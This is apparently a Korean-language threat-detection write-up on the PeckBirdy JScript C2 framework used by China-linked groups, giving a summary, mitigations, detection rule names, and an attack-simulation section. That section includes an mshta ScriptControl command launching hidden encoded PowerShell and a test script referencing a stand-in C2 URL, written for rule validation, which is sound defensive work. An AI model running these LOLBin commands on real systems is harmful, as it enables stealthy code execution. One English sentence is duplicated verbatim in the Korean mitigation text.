PeckBirdy: 중국 연계 위협 그룹이 사용하는 LOLBins 악용을 위한 다목적 스크립트 프레임워크
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
PeckBirdy는 중국 계열 APT 행위자들이 Living-off-the-land 이진 파일을 악용하고 HOLODONUT과 MKDOOR를 포함한 모듈형 백도어를 배포하기 위해 사용하는 JScript 기반 명령 및 제어 프레임워크입니다. 이 프레임워크는 웹 브라우저, MSHTA, WScript, NodeJS, .NET을 포함한 여러 런타임에서 실행되도록 설계되었으며, WebSocket, Flash, Comet, HTTP 등 다양한 전송 옵션을 지원합니다. 이 프레임워크는 SHADOW-VOID-044 및 SHADOW-EARTH-045로 추적된 캠페인에서 온라인 도박 리소스, 아시아 정부 웹 포털 및 교육 부문 조직을 대상으로 관찰되었습니다.
조사
연구원들은 도박 사이트와 정부 페이지에 악성 스크립트 인젝션을 보고했으며, 이는 PeckBirdy 로더를 활용하여 Chrome 취약점 (CVE-2020-16040) 및 추가 백도어 구성 요소를 포함한 후속 페이로드를 가져왔습니다. 이 활동은 HOLODONUT 및 MKDOOR라는 두 가지 모듈형 임플란트와 연결되었으며, 이전에 관찰된 그룹 및 인프라 패턴과 연결되었습니다. 분석에는 IP 주소, 도메인 및 도난된 코드 서명 인증서 사용과 같은 운영 세부사항을 포함한 손상 지표가 나열되었습니다.
완화
식별된 악성 도메인 및 IP 주소를 차단하고, MSHTA, WScript, NodeJS를 통한 비정상적인 LOLBin 사용 및 스크립트 실행을 모니터링하세요. 파일을 %TEMP%에 만들어 감지하고 코드 서명 인증서의 엄격한 검증을 시행하세요. 알려진 Cobalt Strike 페이로드와 Donut 생성 .NET 어셈블리에 대한 범위를 갖추면 노출을 더욱 줄일 수 있습니다. file in %TEMP% and enforce strict code-signing certificate validation. Coverage for known Cobalt Strike payloads and Donut-generated .NET assemblies can further reduce exposure.
대응
감지된 경우, 영향을 받은 시스템을 격리하고, 인젝션된 스크립트 및 생성된 백도어 바이너리를 수집하며, 관련된 C2 인프라를 차단하십시오. 측면 이동을 위한 포렌식 삼라마를 수행하고 관찰된 명령줄 아티팩트 및 네트워크 트래픽 패턴에 대한 감지 로직을 업데이트하십시오.
공격 흐름
탐지
LOLBAS WScript / CScript (프로세스 생성 경유)
보기
연관된 명령어 탐지로 인한 의심스러운 LOLBAS MSHTA 방어 회피 행동 (프로세스 생성 경유)
보기
WMIC를 통한 의심스러운 Defender 제외 수정 (cmdline 경유)
보기
PeckBirdy 탐지를 위한 IOCs (HashSha1): 중국 계열 위협 그룹이 사용하는 다재다능한 스크립트 프레임워크
보기
PeckBirdy 탐지를 위한 IOCs (SourceIP): 중국 계열 위협 그룹이 사용하는 다재다능한 스크립트 프레임워크
보기
PeckBirdy 탐지를 위한 IOCs (DestinationIP): 중국 계열 위협 그룹이 사용하는 다재다능한 스크립트 프레임워크
보기
PeckBirdy 실행을 위한 MSHTA 및 ScriptControl 사용 [Windows 프로세스 생성]
보기
PeckBirdy 악성 스크립트 인젝션 및 자격 증명 수집 탐지 [웹 서버]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션에서는 탐지 규칙을 트리거하기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영하고 탐지 논리에서 기대되는 정확한 텔레메트리를 생성하는 것이어야 합니다.
-
공격 내러티브 및 명령어:
적대자는 PeckBirdy 스크립트 프레임워크를 사용하여 원격 제어 채널을 설정하고자 합니다. 그들은mshta.exe를 선택했습니다. 이는 대부분의 애플리케이션 허가 목록을 우회하는 서명된 Windows 이진 파일이기 때문입니다. 페이로드는 C2 서버에서 가져온 JScript 코드를 실행하기 위해 ActiveXScriptControl개체를 포함합니다. 단계는 다음과 같습니다:- C2에서 악성 JScript 페이로드를 다운로드
(예:). - 에서
mshta.exe인라인으로URI를 통해ScriptControl인스턴스를 만들고, 다운로드한 스크립트를 로드하고 실행합니다. - JScript 코드는 역방향 TCP 리스너를 설정하여 발판을 완성합니다.
텔레메트리를 생성하는 정확한 명령줄은 다음과 같습니다:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"이 명령은
mshta.exe와 문자열ScriptControl를 모두 포함하여 Sigma 조건을 충족합니다. - C2에서 악성 JScript 페이로드를 다운로드
-
회귀 테스트 스크립트:
아래 스크립트는 악성mshta호출을 자동화합니다. 관리 계정을 통해 테스트 워크스테이션에서 실행될 수 있습니다.#------------------------------------------------- # mshta + ScriptControl을 통한 PeckBirdy 실행 #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // 간단한 비콘 – 실제 페이로드로 교체 sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # JScript 페이로드를 인코딩하여 줄 바꿈 문제를 피합니다 $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] 악성 mshta 실행 중..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
정리 명령:
테스트에서 생성된 아티팩트를 제거하십시오 (예: 임시 파일).#------------------------------------------------- # PeckBirdy 시뮬레이션 후 정리 #------------------------------------------------- Write-Host "[*] 테스트 아티팩트 정리 중..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # 테스트에서 시작된 남아있는 mshta 프로세스를 중지합니다 Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force